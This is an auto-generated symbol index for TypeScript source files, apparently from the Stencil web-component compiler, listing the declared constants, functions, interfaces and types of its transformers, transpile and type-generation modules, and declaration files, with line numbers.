FILE: src/compiler/transformers/remove-static-meta-properties.ts
constant STATIC_GETTERS_TO_REMOVE (line 34) | const STATIC_GETTERS_TO_REMOVE = [
FILE: src/compiler/transformers/reserved-public-members.ts
constant HTML_ELEMENT_KEYS (line 41) | const HTML_ELEMENT_KEYS = [
constant ELEMENT_KEYS (line 148) | const ELEMENT_KEYS = [
constant NODE_KEYS (line 240) | const NODE_KEYS = [
constant JSX_KEYS (line 290) | const JSX_KEYS = ['ref', 'key'];
constant ALL_KEYS (line 292) | const ALL_KEYS = [...HTML_ELEMENT_KEYS, ...ELEMENT_KEYS, ...NODE_KEYS, ....
constant RESERVED_PUBLIC_MEMBERS (line 294) | const RESERVED_PUBLIC_MEMBERS = new Set(ALL_KEYS);
FILE: src/compiler/transformers/rewrite-aliased-paths.ts
function rewriteAliasedDTSImportPaths (line 14) | function rewriteAliasedDTSImportPaths(
function rewriteAliasedSourceFileImportPaths (line 35) | function rewriteAliasedSourceFileImportPaths(
function visit (line 54) | function visit(compilerHost: ts.CompilerHost, transformCtx: ts.Transform...
function rewriteAliasedImport (line 124) | function rewriteAliasedImport(
FILE: src/compiler/transformers/static-to-meta/class-extension.ts
type DeDupeMember (line 16) | type DeDupeMember =
type DependentClass (line 24) | type DependentClass = {
function resolveAndProcessExtendedClass (line 71) | function resolveAndProcessExtendedClass(
function findClassWalk (line 157) | function findClassWalk(node?: ts.Node, name?: string): ts.ClassDeclarati...
function matchesNamedDeclaration (line 193) | function matchesNamedDeclaration(name: string) {
function convertDtsToJs (line 227) | function convertDtsToJs(declarationSourceFile: string, compilerCtx: d.Co...
function buildExtendsTree (line 244) | function buildExtendsTree(
function mergeExtendedClassMeta (line 447) | function mergeExtendedClassMeta(
FILE: src/compiler/transformers/static-to-meta/component.ts
constant BLACKLISTED_COMPONENT_METHODS (line 20) | const BLACKLISTED_COMPONENT_METHODS = [
FILE: src/compiler/transformers/static-to-meta/parse-static.ts
constant STENCIL_MIXIN_STATIC_MEMBERS (line 17) | const STENCIL_MIXIN_STATIC_MEMBERS = ['properties', 'states', 'methods',...
FILE: src/compiler/transformers/style-imports.ts
type ImportDeclarationOrVariableStatementType (line 147) | type ImportDeclarationOrVariableStatementType = ModuleType extends 'esm'
FILE: src/compiler/transformers/test/fixtures/dessert.ts
type IceCream (line 1) | interface IceCream {
type Cake (line 6) | interface Cake {
type Pie (line 10) | interface Pie {
type Cookie (line 14) | interface Cookie {
type Candy (line 18) | interface Candy {
FILE: src/compiler/transformers/test/fixtures/meal-entry.ts
type BestEnum (line 31) | enum BestEnum {
type StringUnion (line 37) | type StringUnion = 'left' | 'right';
type JustAnAlias (line 39) | type JustAnAlias = string;
type PrivateType (line 46) | type PrivateType = {
FILE: src/compiler/transformers/test/lazy-component.spec.ts
function verifyStylingUsingComponent (line 115) | function verifyStylingUsingComponent(inputComponent: string, expectedOut...
FILE: src/compiler/transformers/test/rewrite-aliased-paths.spec.ts
function pathTransformTranspile (line 22) | async function pathTransformTranspile(component: string, inputFileName =...
FILE: src/compiler/transformers/test/transform-utils.spec.ts
function printClassMembers (line 210) | function printClassMembers(classNode: ts.ClassDeclaration, classMembers:...
FILE: src/compiler/transformers/test/transpile.ts
function transpileModule (line 25) | function transpileModule(
function getStaticGetter (line 215) | function getStaticGetter(stringifiedJs: string, propertyName: string): s...
FILE: src/compiler/transformers/test/type-library.spec.ts
function resetLibrary (line 9) | function resetLibrary() {
FILE: src/compiler/transformers/test/utils.ts
function c (line 23) | function c(strings: TemplateStringsArray) {
FILE: src/compiler/transformers/transform-utils.ts
class ObjectMap (line 524) | class ObjectMap {
type TypeReferenceIR (line 566) | interface TypeReferenceIR {
type ConvertIdentifier (line 1143) | interface ConvertIdentifier {
function foundSuper (line 1200) | function foundSuper(constructorBodyStatements: ts.NodeArray<ts.Statement...
function getExternalStyles (line 1388) | function getExternalStyles(style: d.StyleCompiler) {
function addTagTransformToCssString (line 1414) | function addTagTransformToCssString(cssCode: string, tagNames: string[])...
function addTagTransformToCssTsAST (line 1442) | function addTagTransformToCssTsAST(
FILE: src/compiler/transformers/type-library.ts
constant TYPE_LIBRARY (line 13) | const TYPE_LIBRARY: d.JsonDocsTypeLibrary = {};
function addToLibrary (line 26) | function addToLibrary(
function getTypeLibrary (line 65) | function getTypeLibrary(): d.JsonDocsTypeLibrary {
function addFileToLibrary (line 79) | function addFileToLibrary(config: ValidatedConfig, filePath: string): vo...
function getHomeModule (line 184) | function getHomeModule(
function findTypeWithName (line 210) | function findTypeWithName(module: ts.SourceFile, typeName: string): Type...
function getOriginalTypeName (line 229) | function getOriginalTypeName(identifier: ts.Node, checker: ts.TypeChecke...
function unalias (line 248) | function unalias(symbol: ts.Symbol, checker: ts.TypeChecker): ts.Symbol {
type TypeDeclLike (line 255) | type TypeDeclLike = ts.InterfaceDeclaration | ts.TypeAliasDeclaration | ...
function isTypeDeclLike (line 265) | function isTypeDeclLike(node: ts.Node): node is TypeDeclLike {
function isExported (line 275) | function isExported(node: TypeDeclLike): boolean {
function isNotPrivate (line 285) | function isNotPrivate(node: TypeDeclLike): boolean {
function getTypeDeclaration (line 299) | function getTypeDeclaration(checker: ts.TypeChecker, type: ts.Type): str...
function getTypeDocstring (line 321) | function getTypeDocstring(type: ts.Type, checker: ts.TypeChecker): string {
function getSymbolForType (line 357) | function getSymbolForType(type: ts.Type): ts.Symbol | null {
FILE: src/compiler/transformers/update-stencil-core-import.ts
constant KEEP_IMPORTS (line 92) | const KEEP_IMPORTS = new Set([
FILE: src/compiler/transpile/create-build-program.ts
method watchFile (line 33) | watchFile(): ts.FileWatcher {
method watchDirectory (line 43) | watchDirectory(): ts.FileWatcher {
method setTimeout (line 55) | setTimeout(callback: (...args: any[]) => void, timeoutMs: number): any {
method clearTimeout (line 69) | clearTimeout(timeoutId: any): void {
FILE: src/compiler/transpile/create-watch-program.ts
method setTimeout (line 45) | setTimeout(callback, time) {
FILE: src/compiler/transpile/run-program.ts
type ValidateTypesResult (line 168) | interface ValidateTypesResult {
FILE: src/compiler/types/constants.ts
constant HTML_ELEMENT_METHODS (line 3) | const HTML_ELEMENT_METHODS = new Set([
FILE: src/compiler/types/generate-component-types.ts
constant FORM_ASSOCIATED_ATTRIBUTES (line 14) | const FORM_ASSOCIATED_ATTRIBUTES: d.TypeInfo = [
function generateStandardElementInterface (line 175) | function generateStandardElementInterface(
function generateElementInterfaceWithConflictResolution (line 201) | function generateElementInterfaceWithConflictResolution(
FILE: src/compiler/types/generate-method-types.ts
function getType (line 33) | function getType(
FILE: src/compiler/types/generate-prop-types.ts
function getType (line 53) | function getType(
FILE: src/compiler/types/stencil-types.ts
constant CORE_FILENAME (line 136) | const CORE_FILENAME = `stencil-public-runtime`;
constant CORE_DTS (line 137) | const CORE_DTS = `${CORE_FILENAME}.d.ts`;
FILE: src/compiler/types/types-utils.ts
constant COMPONENTS_DTS_HEADER (line 3) | const COMPONENTS_DTS_HEADER = `/* eslint-disable */
FILE: src/compiler/types/update-import-refs.ts
type ImportReferenceUpdater (line 42) | type ImportReferenceUpdater = (
function getIncrementTypeName (line 65) | function getIncrementTypeName(name: string): string {
FILE: src/compiler/types/validate-primary-package-output-target.ts
type PrimaryPackageOutputTargetRecommendedConfig (line 11) | type PrimaryPackageOutputTargetRecommendedConfig = {
constant PRIMARY_PACKAGE_TARGET_CONFIGS (line 51) | const PRIMARY_PACKAGE_TARGET_CONFIGS = {
FILE: src/declarations/stencil-private.ts
type DocData (line 34) | interface DocData {
type StencilDocument (line 39) | type StencilDocument = Document & { _stencilDocData: DocData };
type SourceMap (line 41) | interface SourceMap {
type PrintLine (line 51) | interface PrintLine {
type AssetsMeta (line 59) | interface AssetsMeta {
type ParsedImport (line 65) | interface ParsedImport {
type ImportData (line 72) | interface ImportData {
type SerializeImportData (line 78) | interface SerializeImportData extends ImportData {
type BuildFeatures (line 88) | interface BuildFeatures {
type BuildConditionals (line 164) | interface BuildConditionals extends Partial<BuildFeatures> {
type ModuleFormat (line 207) | type ModuleFormat =
type RollupResultModule (line 219) | interface RollupResultModule {
type RollupResults (line 222) | interface RollupResults {
type UpdatedLazyBuildCtx (line 226) | interface UpdatedLazyBuildCtx {
type BuildCtx (line 231) | interface BuildCtx {
type BuildStyleUpdate (line 299) | interface BuildStyleUpdate {
type BuildTask (line 305) | type BuildTask = any;
type CompilerBuildStats (line 307) | interface CompilerBuildStats {
type CompilerBuildStatCollection (line 343) | interface CompilerBuildStatCollection {
type CompilerBuildStatBundle (line 349) | interface CompilerBuildStatBundle {
type BuildSourceGraph (line 358) | interface BuildSourceGraph {
type BuildComponent (line 362) | interface BuildComponent {
type SourceTarget (line 368) | type SourceTarget = 'es5' | 'es2017' | 'latest';
type RollupResult (line 377) | type RollupResult = RollupChunkResult | RollupAssetResult;
type RollupAssetResult (line 379) | interface RollupAssetResult {
type RollupChunkResult (line 385) | interface RollupChunkResult {
type RollupSourceMap (line 400) | interface RollupSourceMap {
type OptimizeJsResult (line 414) | type OptimizeJsResult = {
type BundleModule (line 420) | interface BundleModule {
type BundleModuleOutput (line 427) | interface BundleModuleOutput {
type Cache (line 433) | interface Cache {
type CollectionCompilerMeta (line 445) | interface CollectionCompilerMeta {
type CollectionCompilerVersion (line 460) | interface CollectionCompilerVersion {
type CollectionManifest (line 466) | interface CollectionManifest {
type CollectionComponentEntryPath (line 480) | type CollectionComponentEntryPath = string;
type CollectionBundleManifest (line 482) | interface CollectionBundleManifest {
type CollectionDependencyManifest (line 486) | interface CollectionDependencyManifest {
type CollectionCompiler (line 491) | interface CollectionCompiler {
type CollectionDependencyData (line 497) | interface CollectionDependencyData {
type CompilerCtx (line 502) | interface CompilerCtx {
type NodeMap (line 541) | type NodeMap = WeakMap<any, ComponentCompilerMeta>;
type ComponentCompilerFeatures (line 549) | interface ComponentCompilerFeatures {
type ComponentCompilerMeta (line 624) | interface ComponentCompilerMeta extends ComponentCompilerFeatures {
type Encapsulation (line 698) | type Encapsulation = 'shadow' | 'scoped' | 'none';
type ComponentCompilerStaticProperty (line 703) | interface ComponentCompilerStaticProperty {
type ComponentCompilerProperty (line 721) | interface ComponentCompilerProperty extends ComponentCompilerStaticPrope...
type ComponentCompilerVirtualProperty (line 726) | interface ComponentCompilerVirtualProperty {
type ComponentCompilerPropertyType (line 732) | type ComponentCompilerPropertyType = 'any' | 'string' | 'boolean' | 'num...
type ComponentCompilerPropertyComplexType (line 738) | interface ComponentCompilerPropertyComplexType {
type ComponentCompilerTypeReferences (line 765) | type ComponentCompilerTypeReferences = Record<string, ComponentCompilerT...
type ComponentCompilerTypeReference (line 770) | interface ComponentCompilerTypeReference {
type ComponentCompilerReferencedType (line 804) | interface ComponentCompilerReferencedType {
type ComponentCompilerStaticEvent (line 819) | interface ComponentCompilerStaticEvent {
type ComponentCompilerEvent (line 829) | interface ComponentCompilerEvent extends ComponentCompilerStaticEvent {
type ComponentCompilerEventComplexType (line 833) | interface ComponentCompilerEventComplexType {
type ComponentCompilerListener (line 839) | interface ComponentCompilerListener {
type ComponentCompilerStaticMethod (line 847) | interface ComponentCompilerStaticMethod {
type ComponentCompilerMethodComplexType (line 852) | interface ComponentCompilerMethodComplexType {
type ComponentCompilerChangeHandler (line 859) | interface ComponentCompilerChangeHandler {
type ComponentCompilerMethod (line 867) | interface ComponentCompilerMethod extends ComponentCompilerStaticMethod {
type ComponentCompilerState (line 872) | interface ComponentCompilerState {
type ComponentCompilerCustomState (line 882) | interface ComponentCompilerCustomState {
type CompilerJsDoc (line 900) | interface CompilerJsDoc {
type CompilerJsDocTagInfo (line 914) | interface CompilerJsDocTagInfo {
type CompilerStyleDoc (line 929) | interface CompilerStyleDoc {
type CompilerAssetDir (line 950) | interface CompilerAssetDir {
type ComponentCompilerData (line 956) | interface ComponentCompilerData {
type ComponentConstructor (line 964) | interface ComponentConstructor {
type ComponentConstructorChangeHandlers (line 985) | interface ComponentConstructorChangeHandlers {
type ComponentTestingConstructor (line 989) | interface ComponentTestingConstructor extends ComponentConstructor {
type ComponentNativeConstructor (line 1001) | interface ComponentNativeConstructor extends ComponentConstructor {
type ComponentConstructorEncapsulation (line 1005) | type ComponentConstructorEncapsulation = 'shadow' | 'scoped' | 'none';
type ComponentConstructorProperties (line 1007) | interface ComponentConstructorProperties {
type ComponentConstructorProperty (line 1011) | interface ComponentConstructorProperty {
type ComponentConstructorPropertyType (line 1022) | type ComponentConstructorPropertyType =
type ComponentConstructorEvent (line 1030) | interface ComponentConstructorEvent {
type ComponentConstructorListener (line 1038) | interface ComponentConstructorListener {
type DevClientWindow (line 1045) | interface DevClientWindow extends Window {
type DevClientConfig (line 1053) | interface DevClientConfig {
type HttpRequest (line 1060) | interface HttpRequest {
type DevServerMessage (line 1072) | interface DevServerMessage {
type DevServerSendMessage (line 1092) | type DevServerSendMessage = (msg: DevServerMessage) => void;
type DevServerContext (line 1094) | interface DevServerContext {
type InitServerProcess (line 1108) | type InitServerProcess = (sendMsg: (msg: DevServerMessage) => void) => (...
type DevResponseHeaders (line 1110) | interface DevResponseHeaders {
type OpenInEditorData (line 1125) | interface OpenInEditorData {
type EntryModule (line 1135) | interface EntryModule {
type HostElement (line 1144) | interface HostElement extends HTMLElement {
type HydrateResults (line 1222) | interface HydrateResults {
type HydrateComponent (line 1245) | interface HydrateComponent {
type HydrateElement (line 1252) | interface HydrateElement {
type HydrateAnchorElement (line 1256) | interface HydrateAnchorElement extends HydrateElement {
type HydrateImgElement (line 1261) | interface HydrateImgElement extends HydrateElement {
type HydrateScriptElement (line 1265) | interface HydrateScriptElement extends HydrateElement {
type HydrateStyleElement (line 1270) | interface HydrateStyleElement extends HydrateElement {
type HydrateStaticData (line 1276) | interface HydrateStaticData {
type JsDoc (line 1282) | interface JsDoc {
type JSDocTagInfo (line 1295) | interface JSDocTagInfo {
type ModuleMap (line 1306) | type ModuleMap = Map<string, Module>;
type Module (line 1316) | interface Module {
type Plugin (line 1375) | interface Plugin {
type PluginTransformResults (line 1387) | type PluginTransformResults = PluginTransformationDescriptor | string | ...
type PluginTransformationDescriptor (line 1389) | interface PluginTransformationDescriptor {
type PluginCtx (line 1397) | interface PluginCtx {
type PrerenderUrlResults (line 1405) | interface PrerenderUrlResults {
type PrerenderUrlRequest (line 1411) | interface PrerenderUrlRequest {
type PrerenderManager (line 1426) | interface PrerenderManager {
type RenderNode (line 1452) | interface RenderNode extends HostElement {
type PatchedSlotNode (line 1624) | interface PatchedSlotNode extends Node {
type LazyBundlesRuntimeData (line 1695) | type LazyBundlesRuntimeData = LazyBundleRuntimeData[];
type LazyBundleRuntimeData (line 1697) | type LazyBundleRuntimeData = [
type ComponentRuntimeMetaCompact (line 1703) | type ComponentRuntimeMetaCompact = [
type ComponentRuntimeMeta (line 1729) | interface ComponentRuntimeMeta {
type ComponentRuntimeMembers (line 1778) | interface ComponentRuntimeMembers {
type ComponentRuntimeMember (line 1790) | type ComponentRuntimeMember = [number, string?];
type ComponentRuntimeHostListener (line 1801) | type ComponentRuntimeHostListener = [number, string, string];
type ComponentRuntimeReflectingAttr (line 1813) | type ComponentRuntimeReflectingAttr = [string, string | undefined];
type RuntimeRef (line 1821) | type RuntimeRef = HostElement | { __stencil__getHostRef?: () => HostRef };
type HostRef (line 1826) | interface HostRef {
type PlatformRuntime (line 1875) | interface PlatformRuntime {
type StyleMap (line 1928) | type StyleMap = Map<string, CSSStyleSheet | string>;
type RootAppliedStyleMap (line 1930) | type RootAppliedStyleMap = WeakMap<Element, Set<string>>;
type ScreenshotConnector (line 1932) | interface ScreenshotConnector {
type ScreenshotBuildResults (line 1948) | interface ScreenshotBuildResults {
type ScreenshotCompareResults (line 1955) | interface ScreenshotCompareResults {
type ScreenshotConnectorOptions (line 1977) | interface ScreenshotConnectorOptions {
type ScreenshotBuildData (line 2001) | interface ScreenshotBuildData {
type PixelMatchInput (line 2018) | interface PixelMatchInput {
type ScreenshotBuild (line 2026) | interface ScreenshotBuild {
type ScreenshotCache (line 2037) | interface ScreenshotCache {
type Screenshot (line 2059) | interface Screenshot {
type ScreenshotDiff (line 2075) | interface ScreenshotDiff {
type ScreenshotOptions (line 2095) | interface ScreenshotOptions {
type ScreenshotBoundingBox (line 2126) | interface ScreenshotBoundingBox {
type StyleCompiler (line 2148) | interface StyleCompiler {
type ExternalStyleCompiler (line 2156) | interface ExternalStyleCompiler {
type CompilerModeStyles (line 2162) | interface CompilerModeStyles {
type CssImportData (line 2166) | interface CssImportData {
type CssToEsmImportData (line 2176) | interface CssToEsmImportData {
type TransformCssToEsmInput (line 2191) | interface TransformCssToEsmInput {
type TransformCssToEsmOutput (line 2223) | interface TransformCssToEsmOutput {
type PackageJsonData (line 2233) | interface PackageJsonData {
type Workbox (line 2269) | interface Workbox {
type Matchers (line 2282) | interface Matchers<R, T> {
type MatchScreenshotOptions (line 2391) | interface MatchScreenshotOptions {
type EventSpy (line 2417) | interface EventSpy {
type SerializedEvent (line 2429) | interface SerializedEvent {
type EventInitDict (line 2447) | interface EventInitDict {
type JestEnvironmentGlobal (line 2454) | interface JestEnvironmentGlobal {
type E2EProcessEnv (line 2470) | interface E2EProcessEnv {
type AnyHTMLElement (line 2504) | interface AnyHTMLElement extends HTMLElement {
type SpecPage (line 2508) | interface SpecPage {
type NewSpecPageOptions (line 2547) | interface NewSpecPageOptions {
type TypesImportData (line 2635) | interface TypesImportData {
type TypesMemberNameData (line 2643) | interface TypesMemberNameData {
type TypesModule (line 2669) | interface TypesModule {
type TypeInfo (line 2686) | type TypeInfo = {
type ChildType (line 2695) | type ChildType = VNode | number | string;
type PropsType (line 2697) | type PropsType = VNodeProdData | number | string | null;
type VNodeProdData (line 2699) | interface VNodeProdData {
type CompilerWorkerContext (line 2714) | interface CompilerWorkerContext {
type WorkerContextMethod (line 2729) | type WorkerContextMethod = keyof CompilerWorkerContext;
type IPCSerializable (line 2736) | type IPCSerializable<T extends CPSerializable> = T;
type MsgToWorker (line 2746) | type MsgToWorker<T extends WorkerContextMethod> = IPCSerializable<{
type MsgFromWorker (line 2760) | type MsgFromWorker<T extends WorkerContextMethod> = IPCSerializable<{
type CompilerWorkerTask (line 2773) | interface CompilerWorkerTask {
type WorkerMsgHandler (line 2789) | type WorkerMsgHandler = <T extends WorkerContextMethod>(
type TranspileModuleResults (line 2793) | interface TranspileModuleResults {
type ValidateTypesResults (line 2801) | interface ValidateTypesResults {
type TerminalInfo (line 2807) | interface TerminalInfo {
type TelemetryCallback (line 2821) | type TelemetryCallback = (...args: any[]) => void | Promise<void>;
type TrackableData (line 2826) | interface TrackableData {
type Metric (line 2851) | interface Metric {
type TelemetryConfig (line 2858) | interface TelemetryConfig {
FILE: src/declarations/stencil-public-compiler.ts
type StencilConfig (line 12) | interface StencilConfig {
type ConfigExtrasBase (line 368) | interface ConfigExtrasBase {
type ConfigExtrasSlotFixes (line 446) | type ConfigExtrasSlotFixes<ExperimentalFixesEnabled extends boolean, Ind...
type ConfigExtras (line 491) | type ConfigExtras = ConfigExtrasBase &
type Config (line 494) | interface Config extends StencilConfig {
type Loose (line 539) | type Loose<T extends Object> = Record<string, any> & Partial<T>;
type UnvalidatedConfig (line 545) | type UnvalidatedConfig = Loose<Config>;
type RequireFields (line 556) | type RequireFields<T, K extends keyof T> = T & { [P in K]-?: T[P] };
type StrictConfigFields (line 561) | type StrictConfigFields = keyof Pick<
type ValidatedConfig (line 596) | type ValidatedConfig = RequireFields<Config, StrictConfigFields> & {
type HydratedFlag (line 600) | interface HydratedFlag {
type StencilDevServerConfig (line 628) | interface StencilDevServerConfig {
type DevServerConfig (line 737) | interface DevServerConfig extends StencilDevServerConfig {
type HistoryApiFallback (line 761) | interface HistoryApiFallback {
type DevServerEditor (line 766) | interface DevServerEditor {
type TaskCommand (line 773) | type TaskCommand =
type PageReloadStrategy (line 786) | type PageReloadStrategy = 'hmr' | 'pageReload' | null;
type PrerenderConfig (line 818) | interface PrerenderConfig {
type HydrateDocumentOptions (line 896) | interface HydrateDocumentOptions {
type SerializeDocumentOptions (line 1017) | interface SerializeDocumentOptions extends HydrateDocumentOptions {
type HydrateFactoryOptions (line 1071) | interface HydrateFactoryOptions extends SerializeDocumentOptions {
type PrerenderHydrateOptions (line 1077) | interface PrerenderHydrateOptions extends SerializeDocumentOptions {
type RobotsTxtOpts (line 1113) | interface RobotsTxtOpts {
type RobotsTxtResults (line 1120) | interface RobotsTxtResults {
type SitemapXmpOpts (line 1126) | interface SitemapXmpOpts {
type SitemapXmpResults (line 1132) | interface SitemapXmpResults {
type CompilerSystem (line 1147) | interface CompilerSystem {
type TranspileOnlyResults (line 1378) | interface TranspileOnlyResults {
type ParsedPath (line 1384) | interface ParsedPath {
type PlatformPath (line 1392) | interface PlatformPath {
type CompilerDependency (line 1408) | interface CompilerDependency {
type ResolveModuleIdOptions (line 1415) | interface ResolveModuleIdOptions {
type ResolveModuleIdResults (line 1422) | interface ResolveModuleIdResults {
type WorkerMainController (line 1434) | interface WorkerMainController {
type CopyResults (line 1457) | interface CopyResults {
type SystemDetails (line 1463) | interface SystemDetails {
type BuildOnEvents (line 1471) | interface BuildOnEvents {
type BuildEmitEvents (line 1487) | interface BuildEmitEvents {
type FsWatchResults (line 1504) | interface FsWatchResults {
type BuildLog (line 1512) | interface BuildLog {
type BuildNoChangeResults (line 1518) | interface BuildNoChangeResults {
type CompilerBuildResults (line 1523) | interface CompilerBuildResults {
type BuildResultsComponentGraph (line 1546) | interface BuildResultsComponentGraph {
type BuildOutput (line 1550) | interface BuildOutput {
type HotModuleReplacement (line 1555) | interface HotModuleReplacement {
type HmrStyleUpdate (line 1569) | interface HmrStyleUpdate {
type BuildOnEventRemove (line 1575) | type BuildOnEventRemove = () => boolean;
type BuildEvents (line 1577) | interface BuildEvents extends BuildOnEvents, BuildEmitEvents {
type CompilerBuildStart (line 1581) | interface CompilerBuildStart {
type CompilerFileWatcherCallback (line 1591) | type CompilerFileWatcherCallback = (fileName: string, eventKind: Compile...
type CompilerFileWatcherEvent (line 1597) | type CompilerFileWatcherEvent =
type CompilerEventName (line 1604) | type CompilerEventName =
type CompilerEventFsChange (line 1616) | type CompilerEventFsChange = 'fsChange';
type CompilerEventFileUpdate (line 1617) | type CompilerEventFileUpdate = 'fileUpdate';
type CompilerEventFileAdd (line 1618) | type CompilerEventFileAdd = 'fileAdd';
type CompilerEventFileDelete (line 1619) | type CompilerEventFileDelete = 'fileDelete';
type CompilerEventDirAdd (line 1620) | type CompilerEventDirAdd = 'dirAdd';
type CompilerEventDirDelete (line 1621) | type CompilerEventDirDelete = 'dirDelete';
type CompilerEventBuildStart (line 1622) | type CompilerEventBuildStart = 'buildStart';
type CompilerEventBuildFinish (line 1623) | type CompilerEventBuildFinish = 'buildFinish';
type CompilerEventBuildLog (line 1624) | type CompilerEventBuildLog = 'buildLog';
type CompilerEventBuildNoChange (line 1625) | type CompilerEventBuildNoChange = 'buildNoChange';
type CompilerFileWatcher (line 1627) | interface CompilerFileWatcher {
type CompilerFsStats (line 1631) | interface CompilerFsStats {
type CompilerSystemCreateDirectoryOptions (line 1658) | interface CompilerSystemCreateDirectoryOptions {
type CompilerSystemCreateDirectoryResults (line 1671) | interface CompilerSystemCreateDirectoryResults {
type CompilerSystemRemoveDirectoryOptions (line 1679) | interface CompilerSystemRemoveDirectoryOptions {
type CompilerSystemRemoveDirectoryResults (line 1687) | interface CompilerSystemRemoveDirectoryResults {
type CompilerSystemRenameResults (line 1696) | interface CompilerSystemRenameResults extends CompilerSystemRenamedPath {
type CompilerSystemRenamedPath (line 1705) | interface CompilerSystemRenamedPath {
type CompilerSystemRealpathResults (line 1712) | interface CompilerSystemRealpathResults {
type CompilerSystemRemoveFileResults (line 1717) | interface CompilerSystemRemoveFileResults {
type CompilerSystemWriteFileResults (line 1724) | interface CompilerSystemWriteFileResults {
type Credentials (line 1729) | interface Credentials {
type ConfigBundle (line 1734) | interface ConfigBundle {
type CopyTask (line 1743) | interface CopyTask {
type StencilDocsConfig (line 1819) | interface StencilDocsConfig {
type BundlingConfig (line 1846) | interface BundlingConfig {
type NodeResolveConfig (line 1856) | interface NodeResolveConfig {
type RollupConfig (line 1893) | interface RollupConfig {
type RollupInputOptions (line 1898) | interface RollupInputOptions {
type RollupOutputOptions (line 1910) | interface RollupOutputOptions {
type Testing (line 1921) | interface Testing {
type Path (line 1926) | type Path = string;
type TransformerConfig (line 1927) | type TransformerConfig = [string, Record<string, unknown>];
type TestingRunOptions (line 1938) | interface TestingRunOptions {
type JestConfig (line 1964) | interface JestConfig {
type TestingConfig (line 2105) | interface TestingConfig extends JestConfig {
type EmulateConfig (line 2219) | interface EmulateConfig {
type EmulateViewport (line 2241) | interface EmulateViewport {
constant LOG_LEVELS (line 2294) | const LOG_LEVELS = ['debug', 'info', 'warn', 'error'] as const;
type LogLevel (line 2296) | type LogLevel = (typeof LOG_LEVELS)[number];
type Logger (line 2306) | interface Logger {
type LoggerLineUpdater (line 2332) | interface LoggerLineUpdater {
type LoggerTimeSpan (line 2337) | interface LoggerTimeSpan {
type OutputTargetDist (line 2342) | interface OutputTargetDist extends OutputTargetValidationConfig {
type OutputTargetDistCollection (line 2386) | interface OutputTargetDistCollection extends OutputTargetValidationConfig {
type OutputTargetDistTypes (line 2413) | interface OutputTargetDistTypes extends OutputTargetValidationConfig {
type OutputTargetDistLazy (line 2419) | interface OutputTargetDistLazy extends OutputTargetBase {
type OutputTargetDistGlobalStyles (line 2437) | interface OutputTargetDistGlobalStyles extends OutputTargetBase {
type OutputTargetDistLazyLoader (line 2442) | interface OutputTargetDistLazyLoader extends OutputTargetBase {
type OutputTargetHydrate (line 2454) | interface OutputTargetHydrate extends OutputTargetBase {
type OutputTargetCustom (line 2474) | interface OutputTargetCustom extends OutputTargetBase {
type OutputTargetDocsVscode (line 2495) | interface OutputTargetDocsVscode extends OutputTargetBase {
type OutputTargetDocsReadme (line 2511) | interface OutputTargetDocsReadme extends OutputTargetBase {
type OutputTargetDocsJson (line 2535) | interface OutputTargetDocsJson extends OutputTargetBase {
type OutputTargetDocsCustomElementsManifest (line 2562) | interface OutputTargetDocsCustomElementsManifest extends OutputTargetBase {
type OutputTargetDocsCustom (line 2573) | interface OutputTargetDocsCustom extends OutputTargetBase {
type OutputTargetStats (line 2580) | interface OutputTargetStats extends OutputTargetBase {
type OutputTargetBaseNext (line 2586) | interface OutputTargetBaseNext {
type CustomElementsExportBehavior (line 2618) | type CustomElementsExportBehavior = (typeof CustomElementsExportBehavior...
type OutputTargetDistCustomElements (line 2620) | interface OutputTargetDistCustomElements extends OutputTargetValidationC...
type OutputTargetBase (line 2684) | interface OutputTargetBase {
type OutputTargetValidationConfig (line 2695) | interface OutputTargetValidationConfig extends OutputTargetBaseNext {
type EligiblePrimaryPackageOutputTarget (line 2699) | type EligiblePrimaryPackageOutputTarget =
type OutputTargetBuild (line 2705) | type OutputTargetBuild = OutputTargetDistCollection | OutputTargetDistLazy;
type OutputTargetCopy (line 2707) | interface OutputTargetCopy extends OutputTargetBase {
type OutputTargetWww (line 2715) | interface OutputTargetWww extends OutputTargetBase {
type OutputTarget (line 2798) | type OutputTarget =
type ServiceWorkerConfig (line 2828) | interface ServiceWorkerConfig {
type LoadConfigInit (line 2854) | interface LoadConfigInit {
type LoadConfigResults (line 2880) | interface LoadConfigResults {
type Diagnostic (line 2893) | interface Diagnostic {
type CacheStorage (line 2908) | interface CacheStorage {
type WorkerOptions (line 2913) | interface WorkerOptions {
type RollupInterface (line 2919) | interface RollupInterface {
type ResolveModuleOptions (line 2931) | interface ResolveModuleOptions {
type PrerenderStartOptions (line 2936) | interface PrerenderStartOptions {
type PrerenderResults (line 2943) | interface PrerenderResults {
type OptimizeCssInput (line 2956) | interface OptimizeCssInput {
type AutoprefixerOptions (line 2973) | type AutoprefixerOptions = Object;
type OptimizeCssOutput (line 2979) | interface OptimizeCssOutput {
type OptimizeJsInput (line 2984) | interface OptimizeJsInput {
type OptimizeJsOutput (line 2992) | interface OptimizeJsOutput {
type LazyRequire (line 2998) | interface LazyRequire {
type FsWatcherItem (line 3008) | interface FsWatcherItem {
type MakeDirectoryOptions (line 3016) | interface MakeDirectoryOptions {
type FsStats (line 3033) | interface FsStats {
type Compiler (line 3057) | interface Compiler {
type CompilerWatcher (line 3064) | interface CompilerWatcher extends BuildOnEvents {
type CompilerRequest (line 3070) | interface CompilerRequest {
type WatcherCloseResults (line 3074) | interface WatcherCloseResults {
type CompilerRequestResponse (line 3078) | interface CompilerRequestResponse {
type TranspileOptions (line 3092) | interface TranspileOptions {
type CompileTarget (line 3193) | type CompileTarget =
type TranspileResults (line 3205) | interface TranspileResults {
type TransformOptions (line 3216) | interface TransformOptions {
type CompileScriptMinifyOptions (line 3230) | interface CompileScriptMinifyOptions {
type DevServer (line 3235) | interface DevServer extends BuildEmitEvents {
type CliInitOptions (line 3245) | interface CliInitOptions {
FILE: src/declarations/stencil-public-docs.ts
type JsonDocsTypeLibrary (line 19) | type JsonDocsTypeLibrary = Record<string, ComponentCompilerReferencedType>;
type JsonDocs (line 24) | interface JsonDocs {
type JsonDocsComponent (line 53) | interface JsonDocsComponent {
type JsonDocsDependencyGraph (line 164) | interface JsonDocsDependencyGraph {
type JsonDocsTag (line 171) | interface JsonDocsTag {
type JsonDocsValue (line 182) | interface JsonDocsValue {
type JsonDocsUsage (line 207) | interface JsonDocsUsage {
type JsonDocsProp (line 214) | interface JsonDocsProp {
type JsonDocsMethod (line 281) | interface JsonDocsMethod {
type JsonDocsMethodReturn (line 292) | interface JsonDocsMethodReturn {
type JsonDocMethodParameter (line 297) | interface JsonDocMethodParameter {
type JsonDocsEvent (line 303) | interface JsonDocsEvent {
